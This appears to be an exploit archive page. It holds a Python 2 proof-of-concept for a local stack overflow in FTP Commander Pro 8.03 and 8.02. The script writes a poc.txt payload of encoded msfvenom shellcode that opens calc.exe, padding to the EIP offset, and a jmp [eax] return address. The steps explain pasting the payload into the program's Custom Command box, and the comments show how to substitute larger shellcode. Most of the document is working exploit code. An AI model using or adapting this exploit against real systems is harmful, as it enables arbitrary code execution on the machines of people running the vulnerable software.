exploit the possibilities

FTP Commander Pro 8.03 Local Stack Overflow

FTP Commander Pro 8.03 Local Stack Overflow
Posted Dec 13, 2019
Authored by boku, UN_NON

FTP Commander Pro version 8.03 suffers from a local stack overflow vulnerability.

tags | exploit, overflow, local
MD5 | 925505483680514fa64f204f5dad0883

FTP Commander Pro 8.03 Local Stack Overflow

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# Exploit Title: FTP Commander Pro 8.03 - Local Stack Overflow 
# Date: 2019-12-12
# Exploit Author: boku
# Discovered by: UN_NON
# Original DoS: FTP Commander 8.02 - Overwrite (SEH)
# Original DoS Link: https://www.exploit-db.com/exploits/37810
# Software Vendor: http://www.internet-soft.com/
# Software Link: http://www.internet-soft.com/DEMO/cftpsetup.exe
# Version: Version 8.03 & Version 8.02 (same exploit for both)
# Tested on: Windows 10 Home 1909 (64-bit; OS-build=18363.418)
# Windows 10 Education 1909 (32-bit; OS-build=18363.418)
# Windows 10 Pro 1909 (32-bit; OS-build=18363.418)
# Windows Vista Home Basic SP1 (6.0.6001 Build 6001)
# Windows XP Professional (32-bit)- 5.1.2600 Service Pack 3 Build 2600
# Python Version: Python 2.7.16+

# Recreate:
# 1) Generate 'poc.txt' payload using python 2.7.x
# 2) On target Windows machine, open the file 'poc.txt' with notepad, then Select-All & Copy
# 3) Install & Open ftpCommander v8.03 (or v8.02)
# 4) Go to Menu Bar > FTP-Server Drop-down > click Custom Command
# - A textbox will appear on the bottom of the right window
# 5) Paste payload from generated txt file into textbox
# 6) Click "Do it"
# - The program will crash & calculator will open
# Other Security Issue:
# - The program's default install path is: C:\\cftp\cftp.exe

#!/usr/bin/python

blt = '\033[92m[\033[0m+\033[92m]\033[0m ' # bash green success bullet
err = '\033[91m[\033[0m!\033[91m]\033[0m ' # bash red error bullet

try:
# EIP offset at 4108 -- if you exceed 4112 bytes you will overwrite nSEH & SEH
nops='CGS[BOKU]J'*100 # 1000 nops that are ASCII friendly
# EIP jump lands at the beginning of the buffer
# Shellcode can be up to 4108 bytes by adjusting nops & replacing shellcode
# msfvenom -p windows/exec CMD='calc' -b '\x00' --platform windows -v shellcode -a x86 -f python -e x86/alpha_upper
#x86/alpha_upper succeeded with size 447 (iteration=0)
shellcode = b""
shellcode += b"\x89\xe7\xda\xd6\xd9\x77\xf4\x58\x50\x59\x49"
shellcode += b"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a"
shellcode += b"\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30"
shellcode += b"\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41"
shellcode += b"\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42"
shellcode += b"\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a"
shellcode += b"\x49\x4b\x4c\x4a\x48\x4d\x52\x35\x50\x35\x50"
shellcode += b"\x33\x30\x53\x50\x4c\x49\x4d\x35\x50\x31\x39"
shellcode += b"\x50\x52\x44\x4c\x4b\x50\x50\x56\x50\x4c\x4b"
shellcode += b"\x46\x32\x44\x4c\x4c\x4b\x31\x42\x42\x34\x4c"
shellcode += b"\x4b\x42\x52\x46\x48\x34\x4f\x4f\x47\x51\x5a"
shellcode += b"\x51\x36\x36\x51\x4b\x4f\x4e\x4c\x37\x4c\x33"
shellcode += b"\x51\x33\x4c\x44\x42\x56\x4c\x57\x50\x4f\x31"
shellcode += b"\x58\x4f\x54\x4d\x45\x51\x4f\x37\x5a\x42\x4b"
shellcode += b"\x42\x36\x32\x30\x57\x4c\x4b\x51\x42\x34\x50"
shellcode += b"\x4c\x4b\x50\x4a\x57\x4c\x4c\x4b\x30\x4c\x32"
shellcode += b"\x31\x34\x38\x4b\x53\x57\x38\x43\x31\x4e\x31"
shellcode += b"\x46\x31\x4c\x4b\x31\x49\x51\x30\x45\x51\x48"
shellcode += b"\x53\x4c\x4b\x47\x39\x44\x58\x4b\x53\x37\x4a"
shellcode += b"\x31\x59\x4c\x4b\x56\x54\x4c\x4b\x35\x51\x4e"
shellcode += b"\x36\x50\x31\x4b\x4f\x4e\x4c\x39\x51\x38\x4f"
shellcode += b"\x34\x4d\x45\x51\x59\x57\x30\x38\x4b\x50\x43"
shellcode += b"\x45\x5a\x56\x55\x53\x33\x4d\x4a\x58\x57\x4b"
shellcode += b"\x53\x4d\x31\x34\x54\x35\x4a\x44\x36\x38\x4c"
shellcode += b"\x4b\x31\x48\x36\x44\x45\x51\x38\x53\x35\x36"
shellcode += b"\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x30\x58\x35"
shellcode += b"\x4c\x53\x31\x49\x43\x4c\x4b\x44\x44\x4c\x4b"
shellcode += b"\x55\x51\x38\x50\x4d\x59\x47\x34\x31\x34\x56"
shellcode += b"\x44\x51\x4b\x51\x4b\x55\x31\x46\x39\x31\x4a"
shellcode += b"\x30\x51\x4b\x4f\x4d\x30\x31\x4f\x31\x4f\x50"
shellcode += b"\x5a\x4c\x4b\x42\x32\x4a\x4b\x4c\x4d\x31\x4d"
shellcode += b"\x53\x5a\x33\x31\x4c\x4d\x4b\x35\x48\x32\x33"
shellcode += b"\x30\x55\x50\x33\x30\x56\x30\x32\x48\x30\x31"
shellcode += b"\x4c\x4b\x42\x4f\x4d\x57\x4b\x4f\x38\x55\x4f"
shellcode += b"\x4b\x4c\x30\x4f\x45\x59\x32\x56\x36\x55\x38"
shellcode += b"\x59\x36\x5a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x59"
shellcode += b"\x45\x37\x4c\x54\x46\x43\x4c\x54\x4a\x4d\x50"
shellcode += b"\x4b\x4b\x4b\x50\x34\x35\x33\x35\x4f\x4b\x51"
shellcode += b"\x57\x32\x33\x53\x42\x52\x4f\x42\x4a\x35\x50"
shellcode += b"\x50\x53\x4b\x4f\x39\x45\x42\x43\x53\x51\x42"
shellcode += b"\x4c\x32\x43\x53\x30\x41\x41"
# Fill the rest of the space with B's until we are at our EIP offset
offset = '\x42'*(4108-len(nops+shellcode))
# The EAX register holds a Pointer to the beginning of our buffer
# FF20 = jmp [eax]
# !mona find -o -s '\xFF\x20'
# 0x0041081a : '\xFF\x20' | startnull,ascii {PAGE_EXECUTE_READ} [ftpcomm.exe]
# | ASLR: False; Rebase: False; SafeSEH: False;
eip = '\x1a\x08\x41' # 3 byte overwrite so we can set EIP to start with 0x00
# After jmp [eax], we land at the beginning of our buffer
payload = nops+shellcode+offset+eip
File = 'poc.txt'
f = open(File, 'w') # open file for write
f.write(payload)
f.close() # close the file
print blt + File + " created successfully "

except:
print err + File + ' failed to create'

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